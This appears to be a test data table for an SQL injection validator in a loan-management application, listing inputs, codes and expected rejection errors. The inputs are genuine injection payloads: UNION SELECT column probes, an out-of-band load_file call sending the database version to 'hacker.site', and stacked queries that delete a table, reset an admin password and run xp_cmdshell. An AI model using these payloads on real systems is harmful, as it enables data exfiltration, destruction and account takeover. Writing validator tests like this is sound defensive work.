| 1' group by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| abc' group by 1, 2 -- | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' group by 1, 2, 3 /* | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' Union Select null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' union select null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| 1' UNION SELECT null, null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
|
||||
| checkedOnDate | 23 | |
|
||||
| officeName | 23 | |
|
||||
| resourceId | 23 | |
|
||||
| clientId | 23 | |
|
||||
| processingResult | 23 | |
|
||||
| clientName | 23 | |
|
||||
| maker | 23 | |
|
||||
| subresourceId | 23 | |
|
||||
| checker | 23 | |
|
||||
| savingsAccountNo | 23 | |
|
||||
| loanAccountNo | 23 | |
|
||||
| groupName | 23 | |
|
||||
| entityName | 23 | |
|
||||
| madeOnDate | 23 | |
|
||||
| id | 23 | |
|
||||
| loanId | 23 | |
|
||||
| actionName | 23 | |
|
||||
| select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); | 17 | SQL validation error: invalid SQL statement (detected 'detect-out-of-bands' pattern) |
|
||||
| 1; DELETE FROM products | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 1; UPDATE members SET password='pwd' WHERE username='admin' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 1; exec master..xp_cmdshell 'DEL important_file.txt' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
|
||||
| 123 -- | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| ' /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| abc' # | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
| 2 ({ | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
|
||||
|
||||
Reference in New Issue
Block a user